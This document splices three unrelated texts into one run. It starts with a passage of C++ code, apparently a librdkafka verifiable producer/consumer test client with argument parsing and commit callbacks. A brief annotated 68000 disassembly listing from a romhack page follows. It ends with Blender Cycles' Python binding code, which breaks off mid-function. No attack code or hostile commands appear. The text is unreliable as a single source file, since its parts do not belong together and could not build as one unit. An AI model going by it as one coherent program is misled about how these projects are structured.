}; class ExampleOffsetCommitCb : public RdKafka::OffsetCommitCb { public: void offset_commit_cb (RdKafka::ErrorCode err, std::vector<RdKafka::TopicPartition*> &offsets) { std::cerr << now() << ": Propagate offset for " << offsets.size() << " partitions, error: " << RdKafka::err2str(err) << std::endl; /* No offsets to commit, dont report anything. */ if (err == RdKafka::ERR__NO_OFFSET) return; /* Send up-to-date records_consumed report to make sure consumed > committed */ report_records_consumed(1); std::cout << "{ " << "\"name\": \"offsets_committed\", " << "\"success\": " << (err ? "false" : "true") << ", " << "\"error\": \"" << (err ? RdKafka::err2str(err) : "") << "\", " << "\"offsets\": [ "; assert(offsets.size() > 0); for (unsigned int i = 0 ; i < offsets.size() ; i++) { std::cout << (i == 0 ? "" : ", ") << "{ " << " \"topic\": \"" << offsets[i]->topic() << "\", " << " \"partition\": " << offsets[i]->partition() << ", " << " \"offset\": " << (int)offsets[i]->offset() << ", " << " \"error\": \"" << (offsets[i]->err() ? RdKafka::err2str(offsets[i]->err()) : "") << "\" " << " }"; } std::cout << " ] }" << std::endl; } }; static void read_conf_file (const std::string &conf_file) { std::ifstream inf(conf_file.c_str()); std::string line; while (std::getline(inf, line)) { std::cerr << now() << ": conf_file: " << conf_file << ": " << line << std::endl; } inf.close(); } int main (int argc, char **argv) { std::string brokers = "localhost"; std::string errstr; std::vector<std::string> topics; std::string conf_file; std::string mode = "P"; int throughput = 0; int32_t partition = RdKafka::Topic::PARTITION_UA; bool do_conf_dump = false; MyHashPartitionerCb hash_partitioner; /* * Create configuration objects */ RdKafka::Conf *conf = RdKafka::Conf::create(RdKafka::Conf::CONF_GLOBAL); RdKafka::Conf *tconf = RdKafka::Conf::create(RdKafka::Conf::CONF_TOPIC); { char hostname[128]; gethostname(hostname, sizeof(hostname)-1); conf->set("client.id", std::string("rdkafka@") + hostname, errstr); } /* auto commit is explicitly enabled with --enable-autocommit */ conf->set("enable.auto.commit", "false", errstr); conf->set("debug", "cgrp,topic,broker", errstr); for (int i = 1 ; i < argc ; i++) { const char *name = argv[i]; const char *val = i+1 < argc ? argv[i+1] : NULL; if (val && !strncmp(val, "-", 1)) val = NULL; std::cout << now() << ": argument: " << name << " " << (val?val:"") << std::endl; if (val) { if (!strcmp(name, "--topic")) topics.push_back(val); else if (!strcmp(name, "--broker-list")) brokers = val; else if (!strcmp(name, "--max-messages")) state.maxMessages = atoi(val); else if (!strcmp(name, "--throughput")) throughput = atoi(val); else if (!strcmp(name, "--producer.config") || !strcmp(name, "--consumer.config")) read_conf_file(val); else if (!strcmp(name, "--group-id")) conf->set("group.id", val, errstr); else if (!strcmp(name, "--session-timeout")) conf->set("session.timeout.ms", val, errstr); else if (!strcmp(name, "--reset-policy")) { if (tconf->set("auto.offset.reset", val, errstr)) { std::cerr << now() << ": " << errstr << std::endl; exit(1); } } else if (!strcmp(name, "--assignment-strategy")) { /* The system tests pass the Java class name rather than * the configuration value. Fix it. * "org.apache.kafka.clients.consumer.RangeAssignor" * -> "Range" -> "range" */ char tmp[128]; if (!strncmp(val, "org.apache", strlen("org.apache"))) { const char *t = rindex(val, '.') + 1; const char *t2 = strstr(t, "Assignor"); char *t3; if (!t2) t2 = t + strlen(t); strncpy(tmp, t, (int)(t2-t)); tmp[(int)(t2-t)] = '\0'; for (t3 = tmp ; *t3 ; t3++) *t3 = tolower(*t3); std::cerr << now() << ": converted " << name << " " << val << " to " << tmp << std::endl; val = tmp; } if (conf->set("partition.assignment.strategy", val, errstr)) { std::cerr << now() << ": " << errstr << std::endl; exit(1); } } else if (!strcmp(name, "--debug")) { conf->set("debug", val, errstr); } else { std::cerr << now() << ": Unknown option " << name << std::endl; exit(1); } i++; } else { if (!strcmp(name, "--consumer")) mode = "C"; else if (!strcmp(name, "--producer")) mode = "P"; else if (!strcmp(name, "--enable-autocommit")) { state.consumer.useAutoCommit = true; conf->set("enable.auto.commit", "true", errstr); } else if (!strcmp(name, "-v")) verbosity++; else if (!strcmp(name, "-q")) verbosity--; else { std::cerr << now() << ": Unknown option or missing argument to " << name << std::endl; exit(1); } } } if (topics.empty() || brokers.empty()) { std::cerr << now() << ": Missing --topic and --broker-list" << std::endl; exit(1); } /* * Set configuration properties */ conf->set("metadata.broker.list", brokers, errstr); ExampleEventCb ex_event_cb; conf->set("event_cb", &ex_event_cb, errstr); if (do_conf_dump) { int pass; for (pass = 0 ; pass < 2 ; pass++) { std::list<std::string> *dump; if (pass == 0) { dump = conf->dump(); std::cerr << now() << ": # Global config" << std::endl; } else { dump = tconf->dump(); std::cerr << now() << ": # Topic config" << std::endl; } for (std::list<std::string>::iterator it = dump->begin(); it != dump->end(); ) { std::cerr << *it << " = "; it++; std::cerr << *it << std::endl; it++; } std::cerr << std::endl; } exit(0); } signal(SIGINT, sigterm); signal(SIGTERM, sigterm); signal(SIGALRM, sigwatchdog); if (mode == "P") { /* * Producer mode */ ExampleDeliveryReportCb ex_dr_cb; /* Set delivery report callback */ conf->set("dr_cb", &ex_dr_cb, errstr); /* * Create producer using accumulated global configuration. */ RdKafka::Producer *producer = RdKafka::Producer::create(conf, errstr); if (!producer) { std::cerr << now() << ": Failed to create producer: " << errstr << std::endl; exit(1); } std::cerr << now() << ": % Created producer " << producer->name() << std::endl; /* * Create topic handle. */ RdKafka::Topic *topic = RdKafka::Topic::create(producer, topics[0], tconf, errstr); if (!topic) { std::cerr << now() << ": Failed to create topic: " << errstr << std::endl; exit(1); } static const int delay_us = throughput ? 1000000/throughput : 0; if (state.maxMessages == -1) state.maxMessages = 1000000; /* Avoid infinite produce */ for (int i = 0 ; run && i < state.maxMessages ; i++) { /* * Produce message */ std::ostringstream msg; msg << i; RdKafka::ErrorCode resp = producer->produce(topic, partition, RdKafka::Producer::RK_MSG_COPY /* Copy payload */, const_cast<char *>(msg.str().c_str()), msg.str().size(), NULL, NULL); if (resp != RdKafka::ERR_NO_ERROR) { errorString("producer_send_error", RdKafka::err2str(resp), topic->name(), NULL, msg.str()); state.producer.numErr++; } else { std::cerr << now() << ": % Produced message (" << msg.str().size() << " bytes)" << std::endl; state.producer.numSent++; } producer->poll(delay_us / 1000); watchdog_kick(); } run = true; while (run && producer->outq_len() > 0) { std::cerr << now() << ": Waiting for " << producer->outq_len() << std::endl; producer->poll(50); watchdog_kick(); } std::cerr << now() << ": " << state.producer.numAcked << "/" << state.producer.numSent << "/" << state.maxMessages << " msgs acked/sent/max, " << state.producer.numErr << " errored" << std::endl; delete topic; delete producer; } else if (mode == "C") { /* * Consumer mode */ tconf->set("auto.offset.reset", "smallest", errstr); /* Set default topic config */ conf->set("default_topic_conf", tconf, errstr); ExampleRebalanceCb ex_rebalance_cb; conf->set("rebalance_cb", &ex_rebalance_cb, errstr); ExampleOffsetCommitCb ex_offset_commit_cb; conf->set("offset_commit_cb", &ex_offset_commit_cb, errstr); /* * Create consumer using accumulated global configuration. */ consumer = RdKafka::KafkaConsumer::create(conf, errstr); if (!consumer) { std::cerr << now() << ": Failed to create consumer: " << errstr << std::endl; exit(1); } std::cerr << now() << ": % Created consumer " << consumer->name() << std::endl; /* * Subscribe to topic(s) */ RdKafka::ErrorCode resp = consumer->subscribe(topics); if (resp != RdKafka::ERR_NO_ERROR) { std::cerr << now() << ": Failed to subscribe to " << topics.size() << " topics: " << RdKafka::err2str(resp) << std::endl; exit(1); } watchdog_kick(); /* * Consume messages */ while (run) { RdKafka::Message *msg = consumer->consume(500); msg_consume(consumer, msg, NULL); delete msg; watchdog_kick(); } /* Final commit */ do_commit(consumer, 1); /* * Stop consumer */ consumer->close(); delete consumer; } /* * Wait for RdKafka to decommission. * This is not strictly needed (when check outq_len() above), but * allows RdKafka to clean up all its resources before the application * exits so that memory profilers such as valgrind wont complain about * memory leaks. */ RdKafka::wait_destroyed(5000); std::cerr << now() << ": EXITING WITH RETURN VALUE 0" << std::endl; return 0; }
copyright zengfr site:http://github.com/zengfr/romhack 004114 clr.b ($17,A6) [1p+42, boss+42, enemy+42] 004118 clr.b ($3,A6) 007110 move.b #$6, ($17,A3) [1p+17] 00714A move.b #$6, ($17,A3) [1p+17] 007360 move.b #$6, ($17,A3) [1p+17] 0073AC move.b #$6, ($17,A1) [enemy+AB] 0073B2 move.b #$6, ($17,A3) [1p+17] 007454 move.b #$6, ($17,A3) [1p+17] 007496 move.b #$6, ($17,A1) 00749C move.b #$6, ($17,A3) [1p+17] 0075B8 move.b #$6, ($17,A3) [boss+17, enemy+17] 0075BE ori.b #$1, ($68,A1) [1p+17] 00AC48 rts [1p+17] 00ADAA bra $add4 [1p+17] 00B222 rts [1p+17] 00B3B0 rts [1p+17] 00B970 rts [1p+17] copyright zengfr site:http://github.com/zengfr/romhack
/* * Copyright 2011-2013 Blender Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <Python.h> #include "blender/CCL_api.h" #include "blender/blender_device.h" #include "blender/blender_sync.h" #include "blender/blender_session.h" #include "render/denoising.h" #include "render/merge.h" #include "util/util_debug.h" #include "util/util_foreach.h" #include "util/util_logging.h" #include "util/util_md5.h" #include "util/util_opengl.h" #include "util/util_path.h" #include "util/util_string.h" #include "util/util_types.h" #ifdef WITH_OSL # include "render/osl.h" # include <OSL/oslquery.h> # include <OSL/oslconfig.h> #endif #ifdef WITH_OPENCL # include "device/device_intern.h" #endif CCL_NAMESPACE_BEGIN namespace { /* Flag describing whether debug flags were synchronized from scene. */ bool debug_flags_set = false; void *pylong_as_voidptr_typesafe(PyObject *object) { if (object == Py_None) return NULL; return PyLong_AsVoidPtr(object); } /* Synchronize debug flags from a given Blender scene. * Return truth when device list needs invalidation. */ bool debug_flags_sync_from_scene(BL::Scene b_scene) { DebugFlagsRef flags = DebugFlags(); PointerRNA cscene = RNA_pointer_get(&b_scene.ptr, "cycles"); /* Backup some settings for comparison. */ DebugFlags::OpenCL::DeviceType opencl_device_type = flags.opencl.device_type; /* Synchronize shared flags. */ flags.viewport_static_bvh = get_enum(cscene, "debug_bvh_type"); /* Synchronize CPU flags. */ flags.cpu.avx2 = get_boolean(cscene, "debug_use_cpu_avx2"); flags.cpu.avx = get_boolean(cscene, "debug_use_cpu_avx"); flags.cpu.sse41 = get_boolean(cscene, "debug_use_cpu_sse41"); flags.cpu.sse3 = get_boolean(cscene, "debug_use_cpu_sse3"); flags.cpu.sse2 = get_boolean(cscene, "debug_use_cpu_sse2"); flags.cpu.bvh_layout = (BVHLayout)get_enum(cscene, "debug_bvh_layout"); flags.cpu.split_kernel = get_boolean(cscene, "debug_use_cpu_split_kernel"); /* Synchronize CUDA flags. */ flags.cuda.adaptive_compile = get_boolean(cscene, "debug_use_cuda_adaptive_compile"); flags.cuda.split_kernel = get_boolean(cscene, "debug_use_cuda_split_kernel"); /* Synchronize OpenCL device type. */ switch (get_enum(cscene, "debug_opencl_device_type")) { case 0: flags.opencl.device_type = DebugFlags::OpenCL::DEVICE_NONE; break; case 1: flags.opencl.device_type = DebugFlags::OpenCL::DEVICE_ALL; break; case 2: flags.opencl.device_type = DebugFlags::OpenCL::DEVICE_DEFAULT; break; case 3: flags.opencl.device_type = DebugFlags::OpenCL::DEVICE_CPU; break; case 4: flags.opencl.device_type = DebugFlags::OpenCL::DEVICE_GPU; break; case 5: flags.opencl.device_type = DebugFlags::OpenCL::DEVICE_ACCELERATOR; break; } /* Synchronize other OpenCL flags. */ flags.opencl.debug = get_boolean(cscene, "debug_use_opencl_debug"); flags.opencl.mem_limit = ((size_t)get_int(cscene, "debug_opencl_mem_limit")) * 1024 * 1024; return flags.opencl.device_type != opencl_device_type; } /* Reset debug flags to default values. * Return truth when device list needs invalidation. */ bool debug_flags_reset() { DebugFlagsRef flags = DebugFlags(); /* Backup some settings for comparison. */ DebugFlags::OpenCL::DeviceType opencl_device_type = flags.opencl.device_type; flags.reset(); return flags.opencl.device_type != opencl_device_type; } } /* namespace */ void python_thread_state_save(void **python_thread_state) { *python_thread_state = (void *)PyEval_SaveThread(); } void python_thread_state_restore(void **python_thread_state) { PyEval_RestoreThread((PyThreadState *)*python_thread_state); *python_thread_state = NULL; } static const char *PyC_UnicodeAsByte(PyObject *py_str, PyObject **coerce) { const char *result = _PyUnicode_AsString(py_str); if (result) { /* 99% of the time this is enough but we better support non unicode * chars since blender doesnt limit this. */ return result; } else { PyErr_Clear(); if (PyBytes_Check(py_str)) { return PyBytes_AS_STRING(py_str); } else if ((*coerce = PyUnicode_EncodeFSDefault(py_str))) { return PyBytes_AS_STRING(*coerce); } else { /* Clear the error, so Cycles can be at leadt used without * GPU and OSL support, */ PyErr_Clear(); return ""; } } } static PyObject *init_func(PyObject * /*self*/, PyObject *args) { PyObject *path, *user_path; int headless; if (!PyArg_ParseTuple(args, "OOi", &path, &user_path, &headless)) { return NULL; } PyObject *path_coerce = NULL, *user_path_coerce = NULL; path_init(PyC_UnicodeAsByte(path, &path_coerce), PyC_UnicodeAsByte(user_path, &user_path_coerce)); Py_XDECREF(path_coerce); Py_XDECREF(user_path_coerce); BlenderSession::headless = headless; VLOG(2) << "Debug flags initialized to:\n" << DebugFlags(); Py_RETURN_NONE; } static PyObject *exit_func(PyObject * /*self*/, PyObject * /*args*/) { ShaderManager::free_memory(); TaskScheduler::free_memory(); Device::free_memory(); Py_RETURN_NONE; } static PyObject *create_func(PyObject * /*self*/, PyObject *args) { PyObject *pyengine, *pypreferences, *pydata, *pyregion, *pyv3d, *pyrv3d; int preview_osl; if (!PyArg_ParseTuple(args, "OOOOOOi", &pyengine, &pypreferences, &pydata, &pyregion, &pyv3d, &pyrv3d, &preview_osl)) { return NULL; } /* RNA */ PointerRNA engineptr; RNA_pointer_create(NULL, &RNA_RenderEngine, (void *)PyLong_AsVoidPtr(pyengine), &engineptr); BL::RenderEngine engine(engineptr); PointerRNA preferencesptr; RNA_pointer_create( NULL, &RNA_Preferences, (void *)PyLong_AsVoidPtr(pypreferences), &preferencesptr); BL::Preferences preferences(preferencesptr); PointerRNA dataptr; RNA_main_pointer_create((Main *)PyLong_AsVoidPtr(pydata), &dataptr); BL::BlendData data(dataptr); PointerRNA regionptr; RNA_pointer_create(NULL, &RNA_Region, pylong_as_voidptr_typesafe(pyregion), &regionptr); BL::Region region(regionptr); PointerRNA v3dptr; RNA_pointer_create(NULL, &RNA_SpaceView3D, pylong_as_voidptr_typesafe(pyv3d), &v3dptr); BL::SpaceView3D v3d(v3dptr); PointerRNA rv3dptr; RNA_pointer_create(NULL, &RNA_RegionView3D, pylong_as_voidptr_typesafe(pyrv3d), &rv3dptr); BL::RegionView3D rv3d(rv3dptr); /* create session */ BlenderSession *session; if (rv3d) { /* interactive viewport session */ int width = region.width(); int height = region.height(); session = new BlenderSession(engine, preferences, data, v3d, rv3d, width, height); } else { /* offline session or preview render */ session = new BlenderSession(engine, preferences, data, preview_osl); } return PyLong_FromVoidPtr(session); } static PyObject *free_func(PyObject * /*self*/, PyObject *value) { delete (BlenderSession *)PyLong_AsVoidPtr(value); Py_RETURN_NONE; } static PyObject *render_func(PyObject * /*self*/, PyObject *args) { PyObject *pysession, *pydepsgraph; if (!PyArg_ParseTuple(args, "OO", &pysession, &pydepsgraph)) return NULL; BlenderSession *session = (BlenderSession *)PyLong_AsVoidPtr(pysession); PointerRNA depsgraphptr; RNA_pointer_create(NULL, &RNA_Depsgraph, (ID *)PyLong_AsVoidPtr(pydepsgraph), &depsgraphptr); BL::Depsgraph b_depsgraph(depsgraphptr); python_thread_state_save(&session->python_thread_state); session->render(b_depsgraph); python_thread_state_restore(&session->python_thread_state); Py_RETURN_NONE; } /* pixel_array and result passed as pointers */ static PyObject *bake_func(PyObject * /*self*/, PyObject *args) { PyObject *pysession, *pydepsgraph, *pyobject; PyObject *pypixel_array, *pyresult; const char *pass_type; int num_pixels, depth, object_id, pass_filter; if (!PyArg_ParseTuple(args, "OOOsiiOiiO", &pysession, &pydepsgraph, &pyobject, &pass_type, &pass_filter, &object_id, &pypixel_array, &num_pixels, &depth, &pyresult)) return NULL; BlenderSession *session = (BlenderSession *)PyLong_AsVoidPtr(pysession); PointerRNA depsgraphptr; RNA_pointer_create(NULL, &RNA_Depsgraph, PyLong_AsVoidPtr(pydepsgraph), &depsgraphptr); BL::Depsgraph b_depsgraph(depsgraphptr); PointerRNA objectptr; RNA_id_pointer_create((ID *)PyLong_AsVoidPtr(pyobject), &objectptr); BL::Object b_object(objectptr); void *b_result = PyLong_AsVoidPtr(pyresult); PointerRNA bakepixelptr; RNA_pointer_create(NULL, &RNA_BakePixel, PyLong_AsVoidPtr(pypixel_array), &bakepixelptr); BL::BakePixel b_bake_pixel(bakepixelptr); python_thread_state_save(&session->python_thread_state); session->bake(b_depsgraph, b_object, pass_type, pass_filter, object_id, b_bake_pixel, (size_t)num_pixels, depth, (float *)b_result); python_thread_state_restore(&session->python_thread_state); Py_RETURN_NONE; } static PyObject *draw_func(PyObject * /*self*/, PyObject *args) { PyObject *pysession, *pygraph, *pyv3d, *pyrv3d; if (!PyArg_ParseTuple(args, "OOOO", &pysession, &pygraph, &pyv3d, &pyrv3d)) return NULL; BlenderSession *session = (BlenderSession *)PyLong_AsVoidPtr(pysession); if (PyLong_AsVoidPtr(pyrv3d)) { /* 3d view drawing */ int viewport[4]; glGetIntegerv(GL_VIEWPORT, viewport); session->draw(viewport[2], viewport[3]); } Py_RETURN_NONE; } static PyObject *reset_func(PyObject * /*self*/, PyObject *args) { PyObject *pysession, *pydata, *pydepsgraph; if (!PyArg_ParseTuple(args, "OOO", &pysession, &pydata, &pydepsgraph)) return NULL; BlenderSession *session = (BlenderSession *)PyLong_AsVoidPtr(pysession); PointerRNA dataptr; RNA_main_pointer_create((Main *)PyLong_AsVoidPtr(pydata), &dataptr); BL::BlendData b_data(dataptr); PointerRNA depsgraphptr; RNA_pointer_create(NULL, &RNA_Depsgraph, PyLong_AsVoidPtr(pydepsgraph), &depsgraphptr); BL::Depsgraph b_depsgraph(depsgraphptr); python_thread_state_save(&session->python_thread_state); session->reset_session(b_data, b_depsgraph); python_thread_state_restore(&session->python_thread_state); Py_RETURN_NONE; } static PyObject *sync_func(PyObject * /*self*/, PyObject *args) { PyObject *pysession, *pydepsgraph; if (!PyArg_ParseTuple(args, "OO", &pysession, &pydepsgraph)) return NULL; BlenderSession *session = (BlenderSession *)PyLong_AsVoidPtr(pysession); PointerRNA depsgraphptr; RNA_pointer_create(NULL, &RNA_Depsgraph, PyLong_AsVoidPtr(pydepsgraph), &depsgraphptr); BL::Depsgraph b_depsgraph(depsgraphptr); python_thread_state_save(&session->python_thread_state); session->synchronize(b_depsgraph); python_thread_state_restore(&session->python_thread_state); Py_RETURN_NONE; } static PyObject *available_devices_func(PyObject * /*self*/, PyObject *args) { const char *type_name; if (!PyArg_ParseTuple(args, "s", &type_name)) { return NULL; } DeviceType type = Device::type_from_string(type_name); uint mask = (type == DEVICE_NONE) ? DEVICE_MASK_ALL : DEVICE_MASK(type); mask |= DEVICE_MASK_CPU; vector<DeviceInfo> devices = Device::available_devices(mask); PyObject *ret = PyTuple_New(devices.size()); for (size_t i = 0; i < devices.size(); i++) { DeviceInfo &device = devices[i]; string type_name = Device::string_from_type(device.type); PyObject *device_tuple = PyTuple_New(3); PyTuple_SET_ITEM(device_tuple, 0, PyUnicode_FromString(device.description.c_str())); PyTuple_SET_ITEM(device_tuple, 1, PyUnicode_FromString(type_name.c_str())); PyTuple_SET_ITEM(device_tuple, 2, PyUnicode_FromString(device.id.c_str())); PyTuple_SET_ITEM(ret, i, device_tuple); } return ret; } #ifdef WITH_OSL static PyObject *osl_update_node_func(PyObject * /*self*/, PyObject *args) { PyObject *pydata, *pynodegroup, *pynode; const char *filepath = NULL; if (!PyArg_ParseTuple(args, "OOOs", &pydata, &pynodegroup, &pynode, &filepath)) return NULL; /* RNA */ PointerRNA dataptr; RNA_main_pointer_create((Main *)PyLong_AsVoidPtr(pydata), &dataptr); BL::BlendData b_data(dataptr); PointerRNA nodeptr; RNA_pointer_create((ID *)PyLong_AsVoidPtr(pynodegroup), &RNA_ShaderNodeScript, (void *)PyLong_AsVoidPtr(pynode), &nodeptr); BL::ShaderNodeScript b_node(nodeptr); /* update bytecode hash */ string bytecode = b_node.bytecode(); if (!bytecode.empty()) { MD5Hash md5; md5.append((const uint8_t *)bytecode.c_str(), bytecode.size()); b_node.bytecode_hash(md5.get_hex().c_str()); } else b_node.bytecode_hash(""); /* query from file path */ OSL::OSLQuery query; if (!OSLShaderManager::osl_query(query, filepath)) Py_RETURN_FALSE; /* add new sockets from parameters */ set<void *> used_sockets; for (int i = 0; i < query.nparams(); i++) { const OSL::OSLQuery::Parameter *param = query.getparam(i); /* skip unsupported types */ if (param->varlenarray || param->isstruct || param->type.arraylen > 1) continue; /* determine socket type */ string socket_type; BL::NodeSocket::type_enum data_type = BL::NodeSocket::type_VALUE; float4 default_float4 = make_float4(0.0f, 0.0f, 0.0f, 1.0f); float default_float = 0.0f; int default_int = 0; string default_string = ""; if (param->isclosure) { socket_type = "NodeSocketShader"; data_type = BL::NodeSocket::type_SHADER; } else if (param->type.vecsemantics == TypeDesc::COLOR) { socket_type = "NodeSocketColor"; data_type = BL::NodeSocket::type_RGBA; if (param->validdefault) { default_float4[0] = param->fdefault[0]; default_float4[1] = param->fdefault[1]; default_float4[2] = param->fdefault[2]; } } else if (param->type.vecsemantics == TypeDesc::POINT || param->type.vecsemantics == TypeDesc::VECTOR || param->type.vecsemantics == TypeDesc::NORMAL) { socket_type = "NodeSocketVector"; data_type = BL::NodeSocket::type_VECTOR; if (param->validdefault) { default_float4[0] = param->fdefault[0]; default_float4[1] = param->fdefault[1]; default_float4[2] = param->fdefault[2]; } } else if (param->type.aggregate == TypeDesc::SCALAR) { if (param->type.basetype == TypeDesc::INT) { socket_type = "NodeSocketInt"; data_type = BL::NodeSocket::type_INT; if (param->validdefault) default_int = param->idefault[0]; } else if (param->type.basetype == TypeDesc::FLOAT) { socket_type = "NodeSocketFloat"; data_type = BL::NodeSocket::type_VALUE; if (param->validdefault) default_float = param->fdefault[0]; } else if (param->type.basetype == TypeDesc::STRING) { socket_type = "NodeSocketString"; data_type = BL::NodeSocket::type_STRING; if (param->validdefault) default_string = param->sdefault[0].string(); } else continue; } else continue; /* find socket socket */ BL::NodeSocket b_sock(PointerRNA_NULL); if (param->isoutput) { b_sock = b_node.outputs[param->name.string()]; /* remove if type no longer matches */ if (b_sock && b_sock.bl_idname() != socket_type) { b_node.outputs.remove(b_data, b_sock); b_sock = BL::NodeSocket(PointerRNA_NULL); } } else { b_sock = b_node.inputs[param->name.string()]; /* remove if type no longer matches */ if (b_sock && b_sock.bl_idname() != socket_type) { b_node.inputs.remove(b_data, b_sock); b_sock = BL::NodeSocket(PointerRNA_NULL); } } if (!b_sock) { /* create new socket */ if (param->isoutput) b_sock = b_node.outputs.create( b_data, socket_type.c_str(), param->name.c_str(), param->name.c_str()); else b_sock = b_node.inputs.create( b_data, socket_type.c_str(), param->name.c_str(), param->name.c_str()); /* set default value */ if (data_type == BL::NodeSocket::type_VALUE) { set_float(b_sock.ptr, "default_value", default_float); } else if (data_type == BL::NodeSocket::type_INT) { set_int(b_sock.ptr, "default_value", default_int); } else if (data_type == BL::NodeSocket::type_RGBA) { set_float4(b_sock.ptr, "default_value", default_float4); } else if (data_type == BL::NodeSocket::type_VECTOR) { set_float3(b_sock.ptr, "default_value", float4_to_float3(default_float4)); } else if (data_type == BL::NodeSocket::type_STRING) { set_string(b_sock.ptr, "default_value", default_string); } } used_sockets.insert(b_sock.ptr.data); } /* remove unused parameters */ bool removed; do { BL::Node::inputs_iterator b_input; BL::Node::outputs_iterator b_output; removed = false; for (b_node.inputs.begin(b_input); b_input != b_node.inputs.end(); ++b_input) { if (used_sockets.find(b_input->ptr.data) == used_sockets.end()) { b_node.inputs.remove(b_data, *b_input); removed = true; break; } } for (b_node.outputs.begin(b_output); b_output != b_node.outputs.end(); ++b_output) { if (used_sockets.find(b_output->ptr.data) == used_sockets.end()) { b_node.outputs.remove(b_data, *b_output); removed = true; break; } } } while (removed); Py_RETURN_TRUE; } static PyObject *osl_compile_func(PyObject * /*self*/, PyObject *args) { const char *inputfile = NULL, *outputfile = NULL; if (!PyArg_ParseTuple(args, "ss", &inputfile, &outputfile)) return NULL; /* return */ if (!OSLShaderManager::osl_compile(inputfile, outputfile)) Py_RETURN_FALSE; Py_RETURN_TRUE; } #endif static PyObject *system_info_func(PyObject * /*self*/, PyObject * /*value*/) { string system_info = Device::device_capabilities(); return PyUnicode_FromString(system_info.c_str()); } #ifdef WITH_OPENCL static PyObject *opencl_disable_func(PyObject * /*self*/, PyObject * /*value*/) { VLOG(2) << "Disabling OpenCL platform."; DebugFlags().opencl.device_type = DebugFlags::OpenCL::DEVICE_NONE; Py_RETURN_NONE; } static PyObject *opencl_compile_func(PyObject * /*self*/, PyObject *args) { PyObject *sequence = PySequence_Fast(args, "Arguments must be a sequence"); if (sequence == NULL) { Py_RETURN_FALSE; } vector<string> parameters; for (Py_ssize_t i = 0; i < PySequence_Fast_GET_SIZE(sequence); i++) { PyObject *item = PySequence_Fast_GET_ITEM(sequence, i); PyObject *item_as_string = PyObject_Str(item); const char *parameter_string = PyUnicode_AsUTF8(item_as_string); parameters.push_back(parameter_string); Py_DECREF(item_as_string); } Py_DECREF(sequence); if (device_opencl_compile_kernel(parameters)) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } #endif static bool image_parse_filepaths(PyObject *pyfilepaths, vector<string> &filepaths) { if (PyUnicode_Check(pyfilepaths)) { const char *filepath = PyUnicode_AsUTF8(pyfilepaths); filepaths.push_back(filepath); return true; } PyObject *sequence = PySequence_Fast(pyfilepaths, "File paths must be a string or sequence of strings"); if (sequence == NULL) { return false; } for (Py_ssize_t i = 0; i < PySequence_Fast_GET_SIZE(sequence); i++) { PyObject *item = PySequence_Fast_GET_ITEM(sequence, i); const char *filepath = PyUnicode_AsUTF8(item); if (filepath == NULL) { PyErr_SetString(PyExc_ValueError, "File paths must be a string or sequence of strings."); Py_DECREF(sequence); return false; } filepaths.push_back(filepath); } Py_DECREF(sequence); return true; } static PyObject *denoise_func(PyObject * /*self*/, PyObject *args, PyObject *keywords) { static const char *keyword_list[] = { "preferences", "scene", "view_layer", "input", "output", "tile_size", "samples", NULL}; PyObject *pypreferences, *pyscene, *pyviewlayer; PyObject *pyinput, *pyoutput = NULL; int tile_size = 0, samples = 0; if (!PyArg_ParseTupleAndKeywords(args, keywords, "OOOO|Oii", (char **)keyword_list, &pypreferences, &pyscene, &pyviewlayer, &pyinput, &pyoutput, &tile_size, &samples)) { return NULL; } /* Get device specification from preferences and scene. */ PointerRNA preferencesptr; RNA_pointer_create( NULL, &RNA_Preferences, (void *)PyLong_AsVoidPtr(pypreferences), &preferencesptr); BL::Preferences b_preferences(preferencesptr); PointerRNA sceneptr; RNA_id_pointer_create((ID *)PyLong_AsVoidPtr(pyscene), &sceneptr); BL::Scene b_scene(sceneptr); DeviceInfo device = blender_device_info(b_preferences, b_scene, true); /* Get denoising parameters from view layer. */ PointerRNA viewlayerptr; RNA_pointer_create((ID *)PyLong_AsVoidPtr(pyscene), &RNA_ViewLayer, PyLong_AsVoidPtr(pyviewlayer), &viewlayerptr); PointerRNA cviewlayer = RNA_pointer_get(&viewlayerptr, "cycles"); DenoiseParams params; params.radius = get_int(cviewlayer, "denoising_radius"); params.strength = get_float(cviewlayer, "denoising_strength"); params.feature_strength = get_float(cviewlayer, "denoising_feature_strength"); params.relative_pca = get_boolean(cviewlayer, "denoising_relative_pca"); params.neighbor_frames = get_int(cviewlayer, "denoising_neighbor_frames"); /* Parse file paths list. */ vector<string> input, output; if (!image_parse_filepaths(pyinput, input)) { return NULL; } if (pyoutput) { if (!image_parse_filepaths(pyoutput, output)) { return NULL; } } else { output = input; } if (input.empty()) { PyErr_SetString(PyExc_ValueError, "No input file paths specified."); return NULL; } if (input.size() != output.size()) { PyErr_SetString(PyExc_ValueError, "Number of input and output file paths does not match."); return NULL; } /* Create denoiser. */ Denoiser denoiser(device); denoiser.params = params; denoiser.input = input; denoiser.output = output; if (tile_size > 0) { denoiser.tile_size = make_int2(tile_size, tile_size); } if (samples > 0) { denoiser.samples_override = samples; } /* Run denoiser. */ if (!denoiser.run()) { PyErr_SetString(PyExc_ValueError, denoiser.error.c_str()); return NULL; } Py_RETURN_NONE; } static PyObject *merge_func(PyObject * /*self*/, PyObject *args, PyObject *keywords) { static const char *keyword_list[] = {"input", "output", NULL}; PyObject *pyinput, *pyoutput = NULL; if (!PyArg_ParseTupleAndKeywords( args, keywords, "OO", (char **)keyword_list, &pyinput, &pyoutput)) { return NULL; } /* Parse input list. */ vector<string> input; if (!image_parse_filepaths(pyinput, input)) { return NULL; } /* Parse output string. */ if (!PyUnicode_Check(pyoutput)) { PyErr_SetString(PyExc_ValueError, "Output must be a string."); return NULL; } string output = PyUnicode_AsUTF8(pyoutput); /* Merge. */ ImageMerger merger; merger.input = input; merger.output = output; if (!merger.run()) { PyErr_SetString(PyExc_ValueError, merger.error.c_str()); return NULL; } Py_RETURN_NONE; } static PyObject *debug_flags_update_func(PyObject * /*self*/, PyObject *args) { PyObject *pyscene; if (!PyArg_ParseTuple(args, "O", &pyscene)) { return NULL; } PointerRNA sceneptr; RNA_id_pointer_create((ID *)PyLong_AsVoidPtr(pyscene), &sceneptr); BL::Scene b_scene(sceneptr); if (debug_flags_sync_from_scene(b_scene)) { VLOG(2) << "Tagging device list for update."; 